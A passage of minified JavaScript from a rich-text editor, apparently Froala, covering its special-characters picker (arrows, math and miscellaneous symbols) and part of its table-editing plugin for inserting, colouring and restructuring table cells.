ARROW"},{"char":"↼",desc:"LEFTWARDS HARPOON WITH BARB UPWARDS"},{"char":"↽",desc:"LEFTWARDS HARPOON WITH BARB DOWNWARDS"},{"char":"↾",desc:"UPWARDS HARPOON WITH BARB RIGHTWARDS"},{"char":"↿",desc:"UPWARDS HARPOON WITH BARB LEFTWARDS"},{"char":"⇀",desc:"RIGHTWARDS HARPOON WITH BARB UPWARDS"},{"char":"⇁",desc:"RIGHTWARDS HARPOON WITH BARB DOWNWARDS"},{"char":"⇂",desc:"DOWNWARDS HARPOON WITH BARB RIGHTWARDS"},{"char":"⇃",desc:"DOWNWARDS HARPOON WITH BARB LEFTWARDS"},{"char":"⇄",desc:"RIGHTWARDS ARROW OVER LEFTWARDS ARROW"},{"char":"⇅",desc:"UPWARDS ARROW LEFTWARDS OF DOWNWARDS ARROW"},{"char":"⇆",desc:"LEFTWARDS ARROW OVER RIGHTWARDS ARROW"},{"char":"⇇",desc:"LEFTWARDS PAIRED ARROWS"},{"char":"⇈",desc:"UPWARDS PAIRED ARROWS"},{"char":"⇉",desc:"RIGHTWARDS PAIRED ARROWS"},{"char":"⇊",desc:"DOWNWARDS PAIRED ARROWS"},{"char":"⇋",desc:"LEFTWARDS HARPOON OVER RIGHTWARDS HARPOON"},{"char":"⇌",desc:"RIGHTWARDS HARPOON OVER LEFTWARDS HARPOON"},{"char":"⇍",desc:"LEFTWARDS DOUBLE ARROW WITH STROKE"},{"char":"⇎",desc:"LEFT RIGHT DOUBLE ARROW WITH STROKE"},{"char":"⇏",desc:"RIGHTWARDS DOUBLE ARROW WITH STROKE"},{"char":"⇐",desc:"LEFTWARDS DOUBLE ARROW"},{"char":"⇑",desc:"UPWARDS DOUBLE ARROW"},{"char":"⇒",desc:"RIGHTWARDS DOUBLE ARROW"},{"char":"⇓",desc:"DOWNWARDS DOUBLE ARROW"},{"char":"⇔",desc:"LEFT RIGHT DOUBLE ARROW"},{"char":"⇕",desc:"UP DOWN DOUBLE ARROW"},{"char":"⇖",desc:"NORTH WEST DOUBLE ARROW"},{"char":"⇗",desc:"NORTH EAST DOUBLE ARROW"},{"char":"⇘",desc:"SOUTH EAST DOUBLE ARROW"},{"char":"⇙",desc:"SOUTH WEST DOUBLE ARROW"},{"char":"⇚",desc:"LEFTWARDS TRIPLE ARROW"},{"char":"⇛",desc:"RIGHTWARDS TRIPLE ARROW"},{"char":"⇜",desc:"LEFTWARDS SQUIGGLE ARROW"},{"char":"⇝",desc:"RIGHTWARDS SQUIGGLE ARROW"},{"char":"⇞",desc:"UPWARDS ARROW WITH DOUBLE STROKE"},{"char":"⇟",desc:"DOWNWARDS ARROW WITH DOUBLE STROKE"},{"char":"⇠",desc:"LEFTWARDS DASHED ARROW"},{"char":"⇡",desc:"UPWARDS DASHED ARROW"},{"char":"⇢",desc:"RIGHTWARDS DASHED ARROW"},{"char":"⇣",desc:"DOWNWARDS DASHED ARROW"},{"char":"⇤",desc:"LEFTWARDS ARROW TO BAR"},{"char":"⇥",desc:"RIGHTWARDS ARROW TO BAR"},{"char":"⇦",desc:"LEFTWARDS WHITE ARROW"},{"char":"⇧",desc:"UPWARDS WHITE ARROW"},{"char":"⇨",desc:"RIGHTWARDS WHITE ARROW"},{"char":"⇩",desc:"DOWNWARDS WHITE ARROW"},{"char":"⇪",desc:"UPWARDS WHITE ARROW FROM BAR"},{"char":"⇫",desc:"UPWARDS WHITE ARROW ON PEDESTAL"},{"char":"⇬",desc:"UPWARDS WHITE ARROW ON PEDESTAL WITH HORIZONTAL BAR"},{"char":"⇭",desc:"UPWARDS WHITE ARROW ON PEDESTAL WITH VERTICAL BAR"},{"char":"⇮",desc:"UPWARDS WHITE DOUBLE ARROW"},{"char":"⇯",desc:"UPWARDS WHITE DOUBLE ARROW ON PEDESTAL"},{"char":"⇰",desc:"RIGHTWARDS WHITE ARROW FROM WALL"},{"char":"⇱",desc:"NORTH WEST ARROW TO CORNER"},{"char":"⇲",desc:"SOUTH EAST ARROW TO CORNER"},{"char":"⇳",desc:"UP DOWN WHITE ARROW"},{"char":"⇴",desc:"RIGHT ARROW WITH SMALL CIRCLE"},{"char":"⇵",desc:"DOWNWARDS ARROW LEFTWARDS OF UPWARDS ARROW"},{"char":"⇶",desc:"THREE RIGHTWARDS ARROWS"},{"char":"⇷",desc:"LEFTWARDS ARROW WITH VERTICAL STROKE"},{"char":"⇸",desc:"RIGHTWARDS ARROW WITH VERTICAL STROKE"},{"char":"⇹",desc:"LEFT RIGHT ARROW WITH VERTICAL STROKE"},{"char":"⇺",desc:"LEFTWARDS ARROW WITH DOUBLE VERTICAL STROKE"},{"char":"⇻",desc:"RIGHTWARDS ARROW WITH DOUBLE VERTICAL STROKE"},{"char":"⇼",desc:"LEFT RIGHT ARROW WITH DOUBLE VERTICAL STROKE"},{"char":"⇽",desc:"LEFTWARDS OPEN-HEADED ARROW"},{"char":"⇾",desc:"RIGHTWARDS OPEN-HEADED ARROW"},{"char":"⇿",desc:"LEFT RIGHT OPEN-HEADED ARROW"}]},{title:"Math","char":"∀",list:[{"char":"∀",desc:"FOR ALL"},{"char":"∂",desc:"PARTIAL DIFFERENTIAL"},{"char":"∃",desc:"THERE EXISTS"},{"char":"∅",desc:"EMPTY SET"},{"char":"∇",desc:"NABLA"},{"char":"∈",desc:"ELEMENT OF"},{"char":"∉",desc:"NOT AN ELEMENT OF"},{"char":"∋",desc:"CONTAINS AS MEMBER"},{"char":"∏",desc:"N-ARY PRODUCT"},{"char":"∑",desc:"N-ARY SUMMATION"},{"char":"−",desc:"MINUS SIGN"},{"char":"∗",desc:"ASTERISK OPERATOR"},{"char":"√",desc:"SQUARE ROOT"},{"char":"∝",desc:"PROPORTIONAL TO"},{"char":"∞",desc:"INFINITY"},{"char":"∠",desc:"ANGLE"},{"char":"∧",desc:"LOGICAL AND"},{"char":"∨",desc:"LOGICAL OR"},{"char":"∩",desc:"INTERSECTION"},{"char":"∪",desc:"UNION"},{"char":"∫",desc:"INTEGRAL"},{"char":"∴",desc:"THEREFORE"},{"char":"∼",desc:"TILDE OPERATOR"},{"char":"≅",desc:"APPROXIMATELY EQUAL TO"},{"char":"≈",desc:"ALMOST EQUAL TO"},{"char":"≠",desc:"NOT EQUAL TO"},{"char":"≡",desc:"IDENTICAL TO"},{"char":"≤",desc:"LESS-THAN OR EQUAL TO"},{"char":"≥",desc:"GREATER-THAN OR EQUAL TO"},{"char":"⊂",desc:"SUBSET OF"},{"char":"⊃",desc:"SUPERSET OF"},{"char":"⊄",desc:"NOT A SUBSET OF"},{"char":"⊆",desc:"SUBSET OF OR EQUAL TO"},{"char":"⊇",desc:"SUPERSET OF OR EQUAL TO"},{"char":"⊕",desc:"CIRCLED PLUS"},{"char":"⊗",desc:"CIRCLED TIMES"},{"char":"⊥",desc:"UP TACK"}]},{title:"Misc","char":"♠",list:[{"char":"♠",desc:"BLACK SPADE SUIT"},{"char":"♣",desc:"BLACK CLUB SUIT"},{"char":"♥",desc:"BLACK HEART SUIT"},{"char":"♦",desc:"BLACK DIAMOND SUIT"},{"char":"♩",desc:"QUARTER NOTE"},{"char":"♪",desc:"EIGHTH NOTE"},{"char":"♫",desc:"BEAMED EIGHTH NOTES"},{"char":"♬",desc:"BEAMED SIXTEENTH NOTES"},{"char":"♭",desc:"MUSIC FLAT SIGN"},{"char":"♮",desc:"MUSIC NATURAL SIGN"},{"char":"☀",desc:"BLACK SUN WITH RAYS"},{"char":"☁",desc:"CLOUD"},{"char":"☂",desc:"UMBRELLA"},{"char":"☃",desc:"SNOWMAN"},{"char":"☕",desc:"HOT BEVERAGE"},{"char":"☘",desc:"SHAMROCK"},{"char":"☯",desc:"YIN YANG"},{"char":"✔",desc:"HEAVY CHECK MARK"},{"char":"✖",desc:"HEAVY MULTIPLICATION X"},{"char":"❄",desc:"SNOWFLAKE"},{"char":"❛",desc:"HEAVY SINGLE TURNED COMMA QUOTATION MARK ORNAMENT"},{"char":"❜",desc:"HEAVY SINGLE COMMA QUOTATION MARK ORNAMENT"},{"char":"❝",desc:"HEAVY DOUBLE TURNED COMMA QUOTATION MARK ORNAMENT"},{"char":"❞",desc:"HEAVY DOUBLE COMMA QUOTATION MARK ORNAMENT"},{"char":"❤",desc:"HEAVY BLACK HEART"}]}],specialCharButtons:["specialCharBack","|"]}),Object.assign(kt.POPUP_TEMPLATES,{specialCharacters:"[_BUTTONS_][_CUSTOM_LAYER_]"}),kt.PLUGINS.specialCharacters=function(C){var E=C.$,e=C.opts.specialCharactersSets,a=C.opts.specialCharactersSets[0],i="";function s(){return'\n <div class="fr-buttons fr-tabs fr-tabs-scroll">\n '.concat(function t(e,n){var r="";return e.forEach(function(e){var t={elementClass:e.title===n.title?"fr-active fr-active-tab":"",title:e.title,dataParam1:e.title,desc:e["char"]};r+='<button class="fr-command fr-btn fr-special-character-category '.concat(t.elementClass,'" title="').concat(t.title,'" data-cmd="setSpecialCharacterCategory" data-param1="').concat(t.dataParam1,'"><span>').concat(t.desc,"</span></button>")}),r}(e,a),'\n </div>\n <div class="fr-icon-container fr-sc-container" style="outline: none;">\n ').concat(function r(e){var n="";return e.list.forEach(function(e){var t={dataParam1:e["char"],title:e.desc,splCharValue:e["char"]};n+='<span class="fr-command fr-special-character fr-icon" role="button" \n data-cmd="insertSpecialCharacter" data-param1="'.concat(t.dataParam1,'" tabindex="0"\n title="').concat(t.title,'">').concat(t.splCharValue,"</span>")}),n}(a),"\n </div>")}return{setSpecialCharacterCategory:function r(t){a=e.filter(function(e){return e.title===t})[0],function n(){C.popups.get("specialCharacters").html(i+s());var e=C.popups.get("specialCharacters").children().not(".fr-buttons");C.accessibility.registerPopup("specialCharacters"),C.accessibility.focusContent(e)}()},showSpecialCharsPopup:function l(){var e=C.popups.get("specialCharacters");if(e||(e=function o(){C.opts.toolbarInline&&0<C.opts.specialCharButtons.length&&(i='<div class="fr-buttons fr-tabs">'.concat(C.button.buildList(C.opts.specialCharButtons),"</div>"));var e={buttons:i,custom_layer:s()},t=C.popups.create("specialCharacters",e);return function n(b){C.events.on("popup.tab",function(e){var t=E(e.currentTarget);if(!C.popups.isVisible("specialCharacters")||!t.is("span, a"))return!0;var n,r,a,o=e.which,i=window.getComputedStyle(b.find(".fr-icon-container")[0]),s=i.getPropertyValue("grid-template-columns").split(" ").length;if(kt.KEYCODE.TAB==o){var l=b.find("span.fr-special-character");if(t.is(l.first())&&e.shiftKey||t.is(l.last())&&!e.shiftKey){var c=b.find(".fr-buttons");n=!C.accessibility.focusToolbar(c,!!e.shiftKey)}if(!1!==n){var d=b.find("span.fr-special-character");d.add(b.find("button.fr-btn")),r=d.index(t),r=e.shiftKey?((r-1)%d.length+d.length)%d.length:(r+1)%d.length,a=d.get(r),C.events.disableBlur(),a.focus(),n=!1}}else if(kt.KEYCODE.ARROW_UP==o||kt.KEYCODE.ARROW_DOWN==o||kt.KEYCODE.ARROW_LEFT==o||kt.KEYCODE.ARROW_RIGHT==o){if(t.is("span.fr-icon")){var f=t.parent().find("span.fr-icon");r=f.index(t);var p=s,u=Math.ceil(f.length/p),h=r%p,g=Math.floor(r/p),m=g*p+h,v=u*p;kt.KEYCODE.ARROW_UP==o?m=((m-p)%v+v)%v:kt.KEYCODE.ARROW_DOWN==o?m=(m+p)%v:kt.KEYCODE.ARROW_LEFT==o?m=((m-1)%v+v)%v:kt.KEYCODE.ARROW_RIGHT==o&&(m=(m+1)%v),a=E(f.get(m)),C.events.disableBlur(),a.focus(),n=!1}}else kt.KEYCODE.ENTER==o&&(t.is("a")?t[0].click():C.button.exec(t),n=!1);return!1===n&&(e.preventDefault(),e.stopPropagation()),n},!0)}(t),t}()),!e.hasClass("fr-active")){C.popups.refresh("specialCharacters"),C.popups.setContainer("specialCharacters",C.$tb);var t=C.$tb.find('.fr-command[data-cmd="specialCharacters"]'),n=C.button.getPosition(t),r=n.left,a=n.top;C.popups.show("specialCharacters",r,a,outerHeight)}},back:function t(){C.popups.hide("specialCharacters"),C.toolbar.showInline()}}},kt.DefineIcon("specialCharacters",{NAME:"dollar-sign",SVG_KEY:"symbols"}),kt.RegisterCommand("specialCharacters",{title:"Special Characters",icon:"specialCharacters",undo:!1,focus:!1,popup:!0,refreshAfterCallback:!1,plugin:"specialCharacters",showOnMobile:!0,callback:function(){this.popups.isVisible("specialCharacters")?(this.$el.find(".fr-marker")&&(this.events.disableBlur(),this.selection.restore()),this.popups.hide("specialCharacters")):this.specialCharacters.showSpecialCharsPopup()}}),kt.RegisterCommand("insertSpecialCharacter",{callback:function(e,t){this.undo.saveStep(),this.html.insert(t),this.undo.saveStep(),this.popups.hide("specialCharacters")}}),kt.RegisterCommand("setSpecialCharacterCategory",{undo:!1,focus:!1,callback:function(e,t){this.specialCharacters.setSpecialCharacterCategory(t)}}),kt.DefineIcon("specialCharBack",{NAME:"arrow-left",SVG_KEY:"back"}),kt.RegisterCommand("specialCharBack",{title:"Back",undo:!1,focus:!1,back:!0,refreshAfterCallback:!1,callback:function(){this.specialCharacters.back()}}),Object.assign(kt.POPUP_TEMPLATES,{"table.insert":"[_BUTTONS_][_ROWS_COLUMNS_]","table.edit":"[_BUTTONS_]","table.colors":"[_BUTTONS_][_COLORS_][_CUSTOM_COLOR_]"}),Object.assign(kt.DEFAULTS,{tableInsertMaxSize:10,tableEditButtons:["tableHeader","tableFooter","tableRemove","tableRows","tableColumns","tableStyle","-","tableCells","tableCellBackground","tableCellVerticalAlign","tableCellHorizontalAlign","tableCellStyle"],tableInsertButtons:["tableBack","|"],tableResizer:!0,tableDefaultWidth:"100%",tableResizerOffset:5,tableResizingLimit:30,tableColorsButtons:["tableBack","|"],tableColors:["#61BD6D","#1ABC9C","#54ACD2","#2C82C9","#9365B8","#475577","#CCCCCC","#41A85F","#00A885","#3D8EB9","#2969B0","#553982","#28324E","#000000","#F7DA64","#FBA026","#EB6B56","#E25041","#A38F84","#EFEFEF","#FFFFFF","#FAC51C","#F37934","#D14841","#B8312F","#7C706B","#D1D5D8","REMOVE"],tableColorsStep:7,tableCellStyles:{"fr-highlighted":"Highlighted","fr-thick":"Thick"},tableStyles:{"fr-dashed-borders":"Dashed Borders","fr-alternate-rows":"Alternate Rows"},tableCellMultipleStyles:!0,tableMultipleStyles:!0,tableInsertHelper:!0,keepTextFormatOnTable:!1,tableInsertHelperOffset:15}),kt.PLUGINS.table=function(w){var A,c,a,o,r,i,L,_=w.$;function g(){var e=S();if(e){var t=w.popups.get("table.edit");if(t||(t=p()),t){w.popups.setContainer("table.edit",w.$sc);var n=I(e),r=n.left+(n.right-n.left)/2,a=n.bottom;w.popups.show("table.edit",r,a,n.bottom-n.top,!0),w.edit.isDisabled()&&(w.$el.removeClass("fr-no-selection"),w.edit.on(),w.button.bulkRefresh(),w.selection.setAtEnd(w.$el.find(".fr-selected-cell").last().get(0)),w.selection.restore())}}}function s(){var e=S();if(e){var t=w.popups.get("table.colors");t||(t=function i(){var e="";0<w.opts.tableColorsButtons.length&&(e='<div class="fr-buttons fr-tabs">'.concat(w.button.buildList(w.opts.tableColorsButtons),"</div>"));var t="";w.opts.colorsHEXInput&&(t='<div class="fr-color-hex-layer fr-table-colors-hex-layer fr-active fr-layer" id="fr-table-colors-hex-layer-'.concat(w.id,'"><div class="fr-input-line"><input maxlength="7" id="fr-table-colors-hex-layer-text-').concat(w.id,'" type="text" placeholder="').concat(w.language.translate("HEX Color"),'" tabIndex="1" aria-required="true"></div><div class="fr-action-buttons"><button type="button" class="fr-command fr-submit" data-cmd="tableCellBackgroundCustomColor" tabIndex="2" role="button">').concat(w.language.translate("OK"),"</button></div></div>"));var n={buttons:e,colors:function a(){for(var e='<div class="fr-color-set fr-table-colors">',t=0;t<w.opts.tableColors.length;t++)0!==t&&t%w.opts.tableColorsStep==0&&(e+="<br>"),"REMOVE"!=w.opts.tableColors[t]?e+='<span class="fr-command" style="background: '.concat(w.opts.tableColors[t],';" tabIndex="-1" role="button" data-cmd="tableCellBackgroundColor" data-param1="').concat(w.opts.tableColors[t],'"><span class="fr-sr-only">').concat(w.language.translate("Color")," ").concat(w.opts.tableColors[t]," </span></span>"):e+='<span class="fr-command" data-cmd="tableCellBackgroundColor" tabIndex="-1" role="button" data-param1="REMOVE" title="'.concat(w.language.translate("Clear Formatting"),'">').concat(w.icon.create("tableColorRemove"),'<span class="fr-sr-only">').concat(w.language.translate("Clear Formatting"),"</span></span>");return e+="</div>"}(),custom_color:t},r=w.popups.create("table.colors",n);return w.events.$on(w.$wp,"scroll.table-colors",function(){w.popups.isVisible("table.colors")&&s()}),function o(h){w.events.on("popup.tab",function(e){var t=_(e.currentTarget);if(!w.popups.isVisible("table.colors")||!t.is("span"))return!0;var n=e.which,r=!0;if(kt.KEYCODE.TAB==n){var a=h.find(".fr-buttons");r=!w.accessibility.focusToolbar(a,!!e.shiftKey)}else if(kt.KEYCODE.ARROW_UP==n||kt.KEYCODE.ARROW_DOWN==n||kt.KEYCODE.ARROW_LEFT==n||kt.KEYCODE.ARROW_RIGHT==n){var o=t.parent().find("span.fr-command"),i=o.index(t),s=w.opts.colorsStep,l=Math.floor(o.length/s),c=i%s,d=Math.floor(i/s),f=d*s+c,p=l*s;kt.KEYCODE.ARROW_UP==n?f=((f-s)%p+p)%p:kt.KEYCODE.ARROW_DOWN==n?f=(f+s)%p:kt.KEYCODE.ARROW_LEFT==n?f=((f-1)%p+p)%p:kt.KEYCODE.ARROW_RIGHT==n&&(f=(f+1)%p);var u=_(o.get(f));w.events.disableBlur(),u.focus(),r=!1}else kt.KEYCODE.ENTER==n&&(w.button.exec(t),r=!1);return!1===r&&(e.preventDefault(),e.stopPropagation()),r},!0)}(r),r}()),w.popups.setContainer("table.colors",w.$sc);var n=I(e),r=(n.left+n.right)/2,a=n.bottom;!function o(){var e=w.popups.get("table.colors"),t=w.$el.find(".fr-selected-cell").first(),n=w.helpers.RGBToHex(t.css("background-color")),r=e.find(".fr-table-colors-hex-layer input");e.find(".fr-selected-color").removeClass("fr-selected-color fr-active-item"),e.find('span[data-param1="'.concat(n,'"]')).addClass("fr-selected-color fr-active-item"),r.val(n).trigger("change")}(),w.popups.show("table.colors",r,a,n.bottom-n.top,!0)}}function l(){0===te().length&&w.toolbar.enable()}function d(e){if(e)return w.popups.onHide("table.insert",function(){w.popups.get("table.insert").find('.fr-table-size .fr-select-table-size > span[data-row="1"][data-col="1"]').trigger("mouseover")}),!0;var t="";0<w.opts.tableInsertButtons.length&&(t='<div class="fr-buttons fr-tabs">'.concat(w.button.buildList(w.opts.tableInsertButtons),"</div>"));var n={buttons:t,rows_columns:function o(){for(var e='<div class="fr-table-size"><div class="fr-table-size-info">1 × 1</div><div class="fr-select-table-size">',t=1;t<=w.opts.tableInsertMaxSize;t++){for(var n=1;n<=w.opts.tableInsertMaxSize;n++){var r="inline-block";2<t&&!w.helpers.isMobile()&&(r="none");var a="fr-table-cell ";1==t&&1==n&&(a+=" hover"),e+='<span class="fr-command '.concat(a,'" tabIndex="-1" data-cmd="tableInsert" data-row="').concat(t,'" data-col="').concat(n,'" data-param1="').concat(t,'" data-param2="').concat(n,'" style="display: ').concat(r,';" role="button"><span></span><span class="fr-sr-only">').concat(t," × ").concat(n," </span></span>")}e+='<div class="new-line"></div>'}return e+="</div></div>"}()},r=w.popups.create("table.insert",n);return w.events.$on(r,"mouseover",".fr-table-size .fr-select-table-size .fr-table-cell",function(e){f(_(e.currentTarget))},!0),function a(e){w.events.$on(e,"focus","[tabIndex]",function(e){var t=_(e.currentTarget);f(t)}),w.events.on("popup.tab",function(e){var t=_(e.currentTarget);if(!w.popups.isVisible("table.insert")||!t.is("span, a"))return!0;var n,r=e.which;if(kt.KEYCODE.ARROW_UP==r||kt.KEYCODE.ARROW_DOWN==r||kt.KEYCODE.ARROW_LEFT==r||kt.KEYCODE.ARROW_RIGHT==r){if(t.is("span.fr-table-cell")){var a=t.parent().find("span.fr-table-cell"),o=a.index(t),i=w.opts.tableInsertMaxSize,s=o%i,l=Math.floor(o/i);kt.KEYCODE.ARROW_UP==r?l=Math.max(0,l-1):kt.KEYCODE.ARROW_DOWN==r?l=Math.min(w.opts.tableInsertMaxSize-1,l+1):kt.KEYCODE.ARROW_LEFT==r?s=Math.max(0,s-1):kt.KEYCODE.ARROW_RIGHT==r&&(s=Math.min(w.opts.tableInsertMaxSize-1,s+1));var c=l*i+s,d=_(a.get(c));f(d),w.events.disableBlur(),d.focus(),n=!1}}else kt.KEYCODE.ENTER==r&&(w.button.exec(t),n=!1);return!1===n&&(e.preventDefault(),e.stopPropagation()),n},!0)}(r),r}function f(e){var t=e.data("row");null!==t&&(t=parseInt(t));var n=e.data("col");null!==n&&(n=parseInt(n));var r=e.parent();r.siblings(".fr-table-size-info").html("".concat(t," × ").concat(n)),r.find("> span").removeClass("hover fr-active-item");for(var a=1;a<=w.opts.tableInsertMaxSize;a++)for(var o=0;o<=w.opts.tableInsertMaxSize;o++){var i=r.find('> span[data-row="'.concat(a,'"][data-col="').concat(o,'"]'));a<=t&&o<=n?i.addClass("hover"):a<=t+1||a<=2&&!w.helpers.isMobile()?i.css("display","inline-block"):2<a&&!w.helpers.isMobile()&&i.css("display","none")}e.addClass("fr-active-item")}function p(e){if(e)return w.popups.onHide("table.edit",l),!0;if(0<w.opts.tableEditButtons.length){var t={buttons:'<div class="fr-buttons">'.concat(w.button.buildList(w.opts.tableEditButtons),"</div>")},n=w.popups.create("table.edit",t);return w.events.$on(w.$wp,"scroll.table-edit",function(){w.popups.isVisible("table.edit")&&g()}),n}return!1}function m(e){var t={startTag:"",closeTag:""};return w.opts.keepTextFormatOnTable&&(t=u(function s(e){var t=new Set,n=e.textContent,r=0,a=[e.firstChild];for(;0<a.length;){var o=a.pop();if(o&&(t.has(o)||(0===r&&n!==o.textContent&&(n=o.textContent,r++),t.add(o)),o.hasChildNodes()))for(var i=0;i<o.childNodes.length;){if(3===o.childNodes[i].nodeType)return Le(t);if(o.childNodes[i].textContent){if(0===r&&o.childNodes[i].textContent!==n){n=o.childNodes[i].textContent,a.push(o.childNodes[i]),r++;break}o.childNodes[i].textContent===n&&a.push(o.childNodes[i])}i++}}return Le(t)}(e).reverse())),{startTag:t.startTag,closeTag:t.closeTag}}function u(e){var t="",n="",r=["br","#text","#comment","font"];if(0<e.length)for(var a=e.length-1;0<=a;a--){var o=e[a],i=w.node.isBlock(o),s=r.indexOf(o.nodeName.toLowerCase());if(!i&&s<0){var l=o.style,c="";if(l&&l.length){for(var d=0;d<l.length;d++)c+=l[d]+": "+l[l[d]].replace(/"/gi,"")+"; ";c=c.trim()}t+=c?"<"+o.nodeName.toLowerCase()+' style="'+c+'">':"<"+o.nodeName.toLowerCase()+">",n="</"+o.nodeName.toLowerCase()+">"+n}}return{startTag:t,closeTag:n}}function h(){if(0<te().length){var e=ne();w.selection.setBefore(e.get(0))||w.selection.setAfter(e.get(0)),w.selection.restore(),w.popups.hide("table.edit"),w.opts.trackChangesEnabled?(w.track_changes.removedTable(e),N()):e.remove(),w.toolbar.enable()}}function v(e){var t=ne();if(0<t.length){if(0<w.$el.find("thead .fr-selected-cell").length&&"above"==e||0<w.$el.find("tfoot td.fr-selected-cell").length&&"below"==e)return;var n,r,a,o=S(),i=O(o);if(null==i)return;r="above"==e?i.min_i:i.max_i;var s="<tr>";for(n=0;n<o[r].length;n++)if("below"==e&&r<o.length-1&&o[r][n]==o[r+1][n]||"above"==e&&0<r&&o[r][n]==o[r-1][n]){if(0===n||0<n&&o[r][n]!=o[r][n-1]){var l=_(o[r][n]);l.attr("rowspan",parseInt(l.attr("rowspan"),10)+1)}}else{var c=_(o[r][n]);if("TH"==c.attr("tagName").toUpperCase())s+='<th style="'+c.attr("style")+'" ><br></th>';else{var d=m(o[r][n]);s+='<td style="'+c.attr("style")+'" >'+d.startTag+"<br>"+d.closeTag+"</td>"}}s+="</tr>",a=0<w.$el.find("thead .fr-selected-cell").length&&"below"==e||0<w.$el.find("tfoot td.fr-selected-cell").length&&"above"==e?_(t.find("tbody").not(t.find("> table tbody"))):_(t.find("tr").not(t.find("> table tr")).get(r)),"below"==e?"TBODY"==a.attr("tagName")?a.prepend(s):a[0].parentNode&&a[0].insertAdjacentHTML("afterend",s):"above"==e&&("TBODY"==a.attr("tagName")?a.append(s):a.before(s),w.popups.isVisible("table.edit")&&g())}}function b(e,t,n){var r,a,o,i,s,l=0,c=S(n);if(e<(t=Math.min(t,c[0].length-1)))for(a=e;a<=t;a++)if(!(e<a&&c[0][a]==c[0][a-1])&&1<(i=Math.min(parseInt(c[0][a].getAttribute("colspan"),10)||1,t-e+1))&&c[0][a]==c[0][a+1])for(l=i-1,r=1;r<c.length;r++)if(c[r][a]!=c[r-1][a]){for(o=a;o<a+i;o++)if(c[r][o]!==undefined)if(1<(s=parseInt(c[r][o].getAttribute("colspan"),10)||1)&&c[r][o]==c[r][o+1])o+=l=Math.min(l,s-1);else if(!(l=Math.max(0,l-1)))break;if(!l)break}l&&E(c,l,"colspan",0,c.length-1,e,t)}function C(e,t,n){var r,a,o,i,s,l=0,c=S(n);if(e<(t=Math.min(t,c.length-1)))for(r=e;r<=t;r++)if(!(e<r&&c[r][0]==c[r-1][0])&&c[r][0]!==undefined&&1<(i=Math.min(parseInt(c[r][0].getAttribute("rowspan"),10)||1,t-e+1))&&c[r][0]==c[r+1][0])for(l=i-1,a=1;a<c[0].length;a++)if(c[r][a]!=c[r][a-1]){for(o=r;o<r+i;o++)if(c[o][a]!==undefined)if(1<(s=parseInt(c[o][a].getAttribute("rowspan"),10)||1)&&c[o][a]==c[o+1][a])o+=l=Math.min(l,s-1);else if(!(l=Math.max(0,l-1)))break;if(!l)break}l&&E(c,l,"rowspan",e,t,0,c[0].length-1)}function E(e,t,n,r,a,o,i){var s,l,c;for(s=r;s<=a;s++)for(l=o;l<=i;l++)r<s&&e[s][l]==e[s-1][l]||o<l&&e[s][l]==e[s][l-1]||e[s][l]!==undefined&&1<(c=parseInt(e[s][l].getAttribute(n),10)||1)&&(1<c-t?e[s][l].setAttribute(n,c-t):e[s][l].removeAttribute(n))}function y(e,t,n,r,a){C(e,t,a),b(n,r,a)}function t(e){var t=w.$el.find(".fr-selected-cell");"REMOVE"!=e?t.css("background-color",w.helpers.HEXtoRGB(e)):t.css("background-color",""),g()}function T(e){e.style.removeProperty("border"),e.style.removeProperty("border-top"),e.style.removeProperty("border-bottom"),e.style.removeProperty("border-left"),e.style.removeProperty("border-right")}function S(e){var c=[];if(null==(e=e||null)&&0<te().length&&(e=ne()),e){if(!e.find("tr").html().match(/xl[0-9]+/gi))for(var t=e.find("tr:empty"),n=t.length-1;0<=n;n--)_(t[n]).remove();e.find("tr").not(e.find("> table tr")).each(function(s,e){var t=_(e),l=0;t.find("> th, > td").each(function(e,t){for(var n=_(t),r=parseInt(n.attr("colspan"),10)||1,a=parseInt(n.attr("rowspan"),10)||1,o=s;o<s+a;o++)for(var i=l;i<l+r;i++)c[o]||(c[o]=[]),c[o][i]?l++:c[o][i]=t;l+=r})})}return c}function k(e,t){for(var n=0;n<t.length;n++)for(var r=0;r<t[n].length;r++)if(t[n][r]==e)return{row:n,col:r}}function x(e,t,n){for(var r=e+1,a=t+1;r<n.length;){if(n[r][t]!=n[e][t]){r--;break}r++}for(r==n.length&&r--;a<n[e].length;){if(n[e][a]!=n[e][t]){a--;break}a++}return a==n[e].length&&a--,{row:r,col:a}}function R(){w.el.querySelector(".fr-cell-fixed")&&w.el.querySelector(".fr-cell-fixed").classList.remove("fr-cell-fixed"),w.el.querySelector(".fr-cell-handler")&&w.el.querySelector(".fr-cell-handler").classList.remove("fr-cell-handler")}function N(){var e=w.$el.find(".fr-selected-cell");0<e.length&&e.each(function(){var e=_(this);e.removeClass("fr-selected-cell"),""===e.attr("class")&&e.removeAttr("class")}),R()}function M(){w.events.disableBlur(),w.selection.clear(),w.$el.addClass("fr-no-selection"),w.$el.blur(),w.events.enableBlur()}function O(e){var t=w.$el.find(".fr-selected-cell");if(0<t.length){var n,r=e.length,a=0,o=e[0].length,i=0;for(n=0;n<t.length;n++){var s=k(t[n],e),l=x(s.row,s.col,e);r=Math.min(s.row,r),a=Math.max(l.row,a),o=Math.min(s.col,o),i=Math.max(l.col,i)}return{min_i:r,max_i:a,min_j:o,max_j:i}}return null}function I(e){var t=O(e);if(null!=t){var n=_(e[t.min_i][t.min_j]),r=_(e[t.min_i][t.max_j]),a=_(e[t.max_i][t.min_j]);return{left:n.length&&n.offset().left,right:r.length&&r.offset().left+r.outerWidth(),top:n.length&&n.offset().top,bottom:a.length&&a.offset().top+a.outerHeight()}}}function D(e,t){if(_(e).is(t))N(),_(e).addClass("fr-selected-cell");else{M(),w.edit.off();var n=S(),r=k(e,n),a=k(t,n);if(!r||!a)return;var o=function u(e,t,n,r,a){var 